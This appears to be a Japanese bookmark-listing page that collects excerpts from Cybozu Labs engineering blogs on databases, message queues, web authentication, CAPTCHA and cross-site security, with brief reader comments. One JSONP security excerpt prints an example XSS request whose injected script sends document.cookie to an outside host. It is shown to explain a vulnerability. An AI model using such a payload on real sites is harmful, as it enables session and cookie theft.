タグ

ブックマーク / labs.cybozu.co.jp (17)

  • Kazuho@Cybozu Labs: なぜサイボウズ・ラボで働くのか

    « ウェブサービスの SSD 化について話してきました | メイン | MySQL の order by 〜 limit を高速化する方法 » 2008年12月08日 なぜサイボウズ・ラボで働くのか 12月6日に大阪で開催されたサイボウズの採用説明会で、話をさせていただきました。大学生の方々向けということで、あまり技術面に振ったプレゼンをするのもどうかと悩んだ末、自分が、なぜサイボウズ・ラボで働いているのか、ということを、大学生の頃から振り返ってみることにしました。 ふだん、しなれていない類いの話なので、うまく伝わったか、正直不安です。ただ、自分自身にとっては、何が好きなのか、何がやりたいのか、ということを改めて見つめ直すいい機会になりました。また、来場者の方々といろいろ話をできたことも、自分にとっていい刺激になったと感じています。 ですので、ご来場いただいた方々には、サイボウズに興味をも

    kmachu
    kmachu 2008/12/08
    あとで読みます
  • Kazuho@Cybozu Labs: メッセージキュー事始め with Q4M

    « YAPC::Asia 2008 で Pathtraq について話してきました | メイン | MySQL のクエリ最適化における、もうひとつの検証方法 » 2008年05月27日 メッセージキュー事始め with Q4M 今日、奥が開発し Pathtraq でも使っているメッセージキュー Q4M について説明する機会があったので、自分の頭を整理しながらスライドに起こしてみました。メッセージキューとはそもそも何か、という所から始まって、Q4M の内部構造と使用方法、さらには、ウェブサービス等でキューを使うべきいくつかのシナリオについても書いてありますので、よろしければご覧ください。

  • Kazuho@Cybozu Labs: ウェブアプリケーションにおけるHDDの正しい使い方

    « ディスクが1回転する間に複数回 fdatasync する方法について | メイン | Q4M - MySQL 上で動作するメッセージキュー » 2008年01月04日 ウェブアプリケーションにおけるHDDの正しい使い方 データベース等のソフトウェアは一般に、停電やOSのクラッシュ時にデータが破壊されないよう、HDD へデータ保存が完了したか確認しながら処理を行うようになっています。その目的を果たすためにどのような API が OS によって提供されているか、少し勉強し直すことにしました。 下表のうち、赤い部分がデータの永続性が保証されない危険な手法、青い部分が安全な手法です。したがって、各行において出来るだけ左側の (高速側の) 、そして言うまでもなく青い色の同期手法を使っていることが望ましいということになります。 OS openモード HDD または RAID 内の書込先 キャッシュ

    kmachu
    kmachu 2008/01/04
  • Kazuho@Cybozu Labs: HTTP 認証でログアウト処理

    « WEISpub - WEIS Enabler for MovableType | メイン | 今日から始める Server-side JavaScript » 2006年02月28日 HTTP 認証でログアウト処理 今日、IPA が開催した「ウェブアプリケーション開発者向けセキュリティ実装講座」に参加してきました。 その中で、高木さんが、セッションハイジャックに強い HTTP 認証と、ログアウトができるセッション Cookie とを組み合わせることができないか、という提案をされ、その際のログアウト/セッション切れ処理をどのように行うか、という点が質疑で問題になっていました。具体的には、どのようなステートの際に、正しい username/password の組に対して 401 レスポンスを送信すべきか、という話なのですが、個人的には、そのような仕組は、あまり好ましくないと思います。 とい

    kmachu
    kmachu 2007/12/31
    「Session ID を realm に使用するのが、単純できれいな解決策」
  • twitterスパムが登場する? | 秋元@サイボウズラボ・プログラマー・ブログ

    via Mashable Dave Winer(RSSの生みの親)がtwitterのreplyを使ったスパム広告の到来を警告している。 この画像は彼がこしらえたサンプルだが、このようなスパムが横行することになっても不思議ではない、と言っている。以下のような点でスパム業者が参入して不思議でない状態だと。 相手を指定して直接メッセージを送れる点でeメールと同じ followされるとfollowしかえすポリシーのユーザも多い(スクリプトで自動化している人まで) メッセージ中のリンクはtinyurlで縮められているため、URLを読ませずにどこにでも飛ばせる 短縮URLサービスの問題は日語でも書かれていた人がいたと思う。 僕も、以前はfollowされたというお知らせメールから相手のtwitterプロファイルを開いて、それが誰か確認してfollowしかえしたりもしていたけれど、数が多くなってくるとた

    twitterスパムが登場する? | 秋元@サイボウズラボ・プログラマー・ブログ
    kmachu
    kmachu 2007/12/18
    あ、TwitterユーザのReputationは面白いかもしれない。いっそこのReputationを信頼の起点にして(以下妄想
  • Kazuho@Cybozu Labs: RSS Feed と認証

    « mod_webdev | メイン | フィードビジネス・カンファレンス リンク集 » 2005年12月08日 RSS Feed と認証 日 (12月8日) フィードビジネス・カンファレンス (FBS カンファレンス) で RSS Feed の拡張について話しました(資料は後ほどカンファレンスのページで公開されると思います)。カンファレンスでは Podcasting を始めとするさまざまな RSS の拡張を紹介したのですが、エントリでは、その中で説明した RSS Personalization について書きたいと思います。 I. 背景 RSS は今日、現在ブログやニュースといった、主に公開情報を配信するために使われています。しかし今後は、Eコマースや社内ソフトウェア、SNS といった認証やパーソナライゼーションが必要な分野でも使われていくだろうと考えられます。 現時点でも Basic

    kmachu
    kmachu 2007/09/19
    AuthenticationではなくAuthorization。そろそろ普及してもいいと思うけど…。
  • TAKESAKO @ Yet another Cybozu Labs: ITpro Challenge!でニコLT発表してきました

    2007年9月7日(金)東京ドームホテルB1Fで開催された「ITpro Challenge!」に行ってきました。 先着70名までという超プレミアムなイベントでしたが、ライトニング・トークスでの発表の機会をいただき、私も参加することができました。 東京を直撃した台風により多摩川がバッファオーバーフローしていたにもかかわらず、会場は満席で大盛況でした。 私がApacheモジュールを書く理由「wafful.org」 LTの発表に使用したスライドのサムネイルを一部公開します。 発表内容を全部録画したデータは後日公開されると思いますので、時間の関係で今回詳しく話せなかったこととして、 Apacheのフィルタモジュールを書くときに参考にした情報について補足しておきたいと思います。 Apache2から用意されたライブラリ APR (Apache Portable Runtime) そのもののチュートリア

    kmachu
    kmachu 2007/09/10
    「多摩川がバッファオーバーフロー」
  • Kazuho@Cybozu Labs: サーバシグニチャは隠さないのが当たり前

    « Pathtraq バージョンアップのおしらせ - サイドバー表示に対応 | メイン | Perl から MySQL に非同期アクセスする方法 » 2007年09月05日 サーバシグニチャは隠さないのが当たり前 ウェブサーバ(Apache)で、404などのエラーページを表示したとき、ヘッダやページの下にApacheやOSのバージョンが表示されます。こういったサーバ情報をわざわざ表示する必要はありません。 ウノウラボ Unoh Labs: 5分でできるウェブサーバのセキュリティ向上施策 私も何年も前からセミナーではサーバ、モジュールバージョンは隠すようにと言っています。何故こんな事で賛否両論になるのか全く理解できません。 yohgaki's blog - サーバシグニチャは隠すのが当たり前 Server: ヘッダを隠すメリットについての議論はあるようですが、Server: ヘッダを表示すべ

    kmachu
    kmachu 2007/09/05
    隠さない理由について
  • sha1.jsにおけるせこいテクニック (mitsunari@cybozu labs)

    前回の結論のように, JavaScriptにおいては計算の重たい部分を展開したもの勝ちです. 一昔前のCコンパイラに対するようなものですね. 無論, やり過ぎたら読みにくいしメンテしづらいですが変わることのないライブラリなら許容範囲は広いでしょう. ここではsha1.jsで使われている展開以外のテクニック(?)をあげてみます. ・32bitラップアラウンド 高度な JavaScript 技集では次のコードが使われていました. function MD5_number(n) { while (n < 0) n += 4294967296; while (n > 4294967295) n -= 4294967296; return n; } 他のwebページでも似たコードを見かけました. もしかしたら昔の処理系に対応したものが広まっているのかもしれませんが, 0とorして正しく32bit整数に

  • 秋元@サイボウズラボ・プログラマー・ブログ: reCAPTCHA - キャプチャを利用した人力高性能OCR

    reCAPTCHA という新サービスはすごい。その構想力には感動させられた。 念のためにCAPTCHA(キャプチャ)について説明しておくと、スパムプログラム(bot)と人間のユーザを見分けるための簡単な(しかし機械にとっ […] reCAPTCHA という新サービスはすごい。その構想力には感動させられた。 念のためにCAPTCHA(キャプチャ)について説明しておくと、スパムプログラム(bot)と人間のユーザを見分けるための簡単な(しかし機械にとっては難しい)クイズのことだ。ある程度ウェブを使っている人なら、ネットサービスの登録時やコメントの書き込み時などに、読みにくく加工されたアルファベットを読まされたりした経験があるだろうと思う。 それらのサイトでは、あなたが人間にしかできないクイズを解いたのを見て、ユーザ登録やコメントの投稿を受け付けたりする仕組みになっているわけだ。文字を読む以外のC

    kmachu
    kmachu 2007/05/25
    Wiki的な発想。すごい。
  • TAKESAKO @ Yet another Cybozu Labs: Wiiリモコンの値をJavaScriptで取得する方法(Wiiインターネットチャンネル)

    任天堂のQ&Aサイトで、Wiiリモコンの値を取得する方法が公開されていることを知人から教えてもらいました。 インターネットチャンネル向けのウェブページを作りたいのですが…。 : Q&A - Wii インターネットチャンネルの拡張機能について知りたい Wiiインターネットチャンネルでは特別な JavaScript を用いる事でWiiリモコンのひねりや テレビとの距離、複数のコントローラの状態を取得する事ができます。 手元にWii体の実機がないので(Wiiリモコンはある^^)まだ試していませんが、こんな感じでJavaScriptからWiiリモコンの値が取れるっぽいですね。 if (window.opera && window.opera.wiiremote) { var num = 0; // wiiremote number 0,1,2,3 var pad = window.opera.w

  • TAKESAKO @ Yet another Cybozu Labs: ニコニコ動画勉強会に行ってきました

    日ドワンゴさんの会議室にてこっそり開催されたニコニコ動画勉強会に参加してきました。 日の動画コメントサービス「ニコニコ動画」の裏側をドワンゴの開発者の方から 直接お話しを聞いて、参加者も一緒に意見交換ができる非常に面白い勉強会でした。 ドワンゴさんとしては会社で行なう技術者向けの勉強会初めての試みということもあり、 まずは開発者の知り合いベースで声をかけあって少人数で開催することにしたそうです。 六木のクラブの人や、バイナリカンファレンスでご一緒した人とこんなところで お会いできるとは思っていませんで、さまに想定の範囲外でした。 その甲斐あって密度の濃い話ができたと思います。 以下、自分用のメモを公開できる範囲で書きます。間違っていたらすみません。(ご指摘いただければすぐに訂正します) ■ニコニコ動画の苦労話 (Sさん) ニコニコ動画の歴史 2006年10月 一人でプロトタイプを開発

  • Kazuho@Cybozu Labs: Comet の正しい使い方

    « 「スーパー技術者争奪戦」 | メイン | JavaScript から Flash の便利な機能を使う方法 » 2007年02月23日 Comet の正しい使い方 今日会社の勉強会で Comet について話す機会がありました。 Comet については、普及するかどうかという以前に、どう使えばいいのか、正しく使った場合に何をどこまでできるのか、という理解が共有されていないように思います。なので、(あくまで私見ですが) 使用したスライドの一部を公開したいと思います。よろしければごらんください。また、問題や改善すべき点があれば、教えていただければ幸いです。

  • TAKESAKO @ Yet another Cybozu Labs: gihyo.jp Web連載 - この先生きのこるために注目をあびる優れた技術を身につける

    日gihyo.jpさん上で、私のエッセイが公開されました。興味のある方はご一読いただけますと幸いです。 「最初は後ろ向きでした。」 ~OSS開発参加のきっかけとこれから~ http://gihyo.jp/magazine/SD/serial/2007/2007oss/0011 他にもgihyo.jpさんのサイトには結構面白いWeb連載が載っていたりしますので、要チェックです。

    kmachu
    kmachu 2007/03/15
    「あびる優」と思ったら、すでに先客がいっぱい。
  • Kazuho@Cybozu Labs: JSONP - データ提供者側のセキュリティについて

    « E4X-XSS 脆弱性について | メイン | 「スーパー技術者争奪戦」 » 2007年01月12日 JSONP - データ提供者側のセキュリティについて JSONP のセキュリティは、ともすればインクルードする側についての議論になりがちであり、その影でインクルードされる側のリスクが見過ごされがちです。JSONP の使用にあたっては、データ提供者への XSS に注意する必要があります。脆弱な例としては、以下のようなものがあります。 GET /json.cgi/append.html?padding=%3Cscript%3Elocation='http://example.jp/'%2Bdocument.cookie%3C/script%3E HTTP/1.0 Host: example.com HTTP/1.0 200 OK Content-Type: text/javascript;

    kmachu
    kmachu 2007/01/25
    「JSONP のデータを HTML として解釈させ、その中にスクリプトを埋め込む XSS 」
  • Kazuho@Cybozu Labs: クロスサイトのセキュリティモデル

    « Japanize - IE 系の User JavaScript エンジンに対応しました | メイン | 安全な JSON, 危険な JSON (Cross-site Including?) » 2007年01月04日 クロスサイトのセキュリティモデル あけましておめでとうございます。 昨年、社内で「XMLHttpRequest は何故クロスサイトで使えないのか。画像や SCRIPT タグは使えるのに」という疑問 (というより試問) を耳にしました。おもしろい話なのでブログネタにしようと思っていたのですが、新年早々 GMAIL の事例がスラッシュドットされていたので、自分の現時点での理解をまとめてみることにしました。文書を確認して書いているわけではないので、間違いがあれば指摘してください。また、よい参考文献をご存知の方がいらっしゃいましたら、教えていただければ幸いです。 ウェブブラウザ

    kmachu
    kmachu 2007/01/21
    「質問への答え」の要約が素晴らしい。
  • Kazuho@Cybozu Labs: Hash ≠ MAC

    « Re: はてな認証 API | メイン | 秘密鍵を後置している MAC の危険性 » 2006年05月07日 Hash ≠ MAC ハッシュ関数を MAC (メッセージ認証コード; いわゆる秘密鍵による署名) として使用していけません、という件について。 HMAC の論文を見たところ、様々な攻撃手法について述べてありました。ちなみに、今回のケースは、 Extension Attack です。引用すると、 Consider the "prepend-only" construction: MACk(x) = F(k, x) (i.e., the key k is prepended to the data x and the hash function - with the fixed IV - computed on the concatenated information). Be

    kmachu
    kmachu 2006/05/08
    勉強になった。「Hash ≠ MAC」よりも「Hash + 秘密鍵(オレオレHMAC) ≠ MAC」のほうが分かりやすいかも。
  • 1